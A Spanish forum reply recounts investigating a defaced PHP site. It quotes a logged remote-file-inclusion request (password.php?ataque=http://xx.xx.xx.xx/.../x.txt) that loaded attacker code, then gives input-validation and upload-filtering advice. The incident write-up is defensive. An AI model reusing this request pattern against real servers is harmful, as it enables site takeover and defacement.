KarlicOs:
Si de entender se trata, pues esta inquietud tuya amerita un poco de mas detalle con un ejemplo practico.
Hace unos meses un amigo mio que maneja un sitio web en su computador-servidor, me llamo y me dijo que su pagina habia sido "defaced" osea le habian introducido un index.php dentro de su sitio; asmismo, notaba que todo caminaba mas lento de lo normal.
Personalmente estaba muy interesado de ver que pasaba y lo visite y me permitio entrar a su sitio sin resticcion alguna.
Enconte lo soguiente:
1.- Efectivamente, su Apache estaba configurado para options indexes index.html y le seguia index.php; logicamente solo podias ver el index que te habian metido utilizando httl://elsitio.com/index.php.
2.- Todos y cada uno de los archivos html tenian al final un agregado que estaba diseñado para enviar mensajes a sitios remotos.
3.- Todos los archivos index.php tenian la misma situacion.
4.- Habia un troyano subido en una pequeña galeria de imagenes escrita por el con codigo simple y sencillo en php; ese archivo lo detecte corriendo el antivirus.
5.- Teniamos dos trabajos: el primero debia consistir en determinar como hicieron todo esto Y segundo, revertir todo lo hecho.
Primeramente, nos concentramos en revertir lo hecho, el troyano que nunca se ejecuto fue trasladado a un lugar seguro. Todos los archivos modificados php y html tuvieron que ser modificados nuevamente manualmente; estamos hablando de cerca de 40 archivos diferentes.
Ahora lo mas importante, por donde entro este hijo de.... y como lo hizo y que habia que hacer para que esto no suceda en el futuro; esta ultima parte representaba para mi una experiencia muy pero muy enriquecedora que no pensaba dejar ir.
Me inicie buscando la fecha, con mes dia, hora y minuto exacto de la modificacion de los archivos. Una vez con la hora exacta y analizando los logs del Apache pude
observar que exactamente en ese mismo instante habia un get asi:
password.php?ataque=http://xx.xx.xx.xx/............../x.txt.....
Es logico pensar que el archivo que modifico todo esto era el x.txt pero porque
lo ejecuto password.php
Ahora este password.php era un archivo de una galeria de imagenes de uso publico y analizando el contenido, recibia el o la contraseña de un input de una pagina html y solo hacia in isset($ataque) {.....} y nada mas.
En este caso si la variable $ataque hubiera sido manejada como te ha indicado
el amigo Keysher este atacante no hubiera tenido exito.
¿porque? porque el script solo pregunto si estaba "isset" set, lo que respondio
afirmativamente y la dejo pasar y te aplico un script escondido dentro del archivo x.txt que bien pudo haber destruido su sitio completamente. Otra forma de evitar esto es inicializando la variable y si tu esperas una respuesta de no mas de 20 caracteres entonces debes aplicarle un if(strlen($ataque) > 20) { forzar el script a salir...}
La regla general es que toda variable que provenga de un formulario debe ser controlada en su totalidad por el script que la recibe, asegurandose que no solo sea lo que se espera recibir sino que se debe limitar su calidad y cantidad hasta donde sea posible.
Nota: esto tampoco garantiza seguridad total ya que en estos momentos estas mentes criminales estan a la busqueda de nuevas tecnicas para hacer daño.
Se le mando una comunicacion a los desarrolladores de esa galeria de imagenes y todo fue solucionado con exito.
Ahora podrias pensar que desde el documento hmtl donde esta el input podes detener el ataque con un maxsize del input y la verdad es que NO los detiene por cuanto ellos pueden facilmente hacer su propia pagina html quitando el maxsize y de esa manera obviando esa restriccion; por ello es en el script php donde debes concentrarte.
Referente el troyano, parece que todo eso ocurrio en cuestion de 3 minutos y revisando que la pequeña y artesanal galeria de imagenes de mi amigo tenia un upload sencillo y ahi logro subir el troyano que era un archivo php de mas de 200kb, con mucha escritura en ruso por dentro; el atacante quiso multiples veces ejecutarlo y nunca pudo. NO pudo porque mi amigo tuvo la suerte de que al subir la imagen o el archivo el utilizaba un rename() de php y al archivo subido le cambiaba nombre al ser depositado en el directorio del servidor; osea eso nunca se dio cuenta el atacante.
De tal manera que cuando hay "file uploads" y al recibir el archivo se debe seguir la misma regla del punto anterior utilizando un preg_match, evitar que se suban archivos que NO sean de los esperados por el script. Finalmente, este ultimo caso se soluciono sin problas.
Como adicional, he estado diseñando un pequeño programa en php que al ser corrido por un cron, permita detectar si una serie de archivos clave han sido modificados y si la cantidad de archivos y directorios dentro de tu web ha aumentado; en ambos casos hay casi seguridad de un ataque que requiere atencion inmediata.
Saludo
Y espero te ayude
Franco
P.S. El problema con los scripts php y especialmente cuando register_globals esta en on es que cualquier variable que provenga de una URL puede ser ejecutada en tu servidor si tu NO le pones restricciones a esa variable de forma segura.
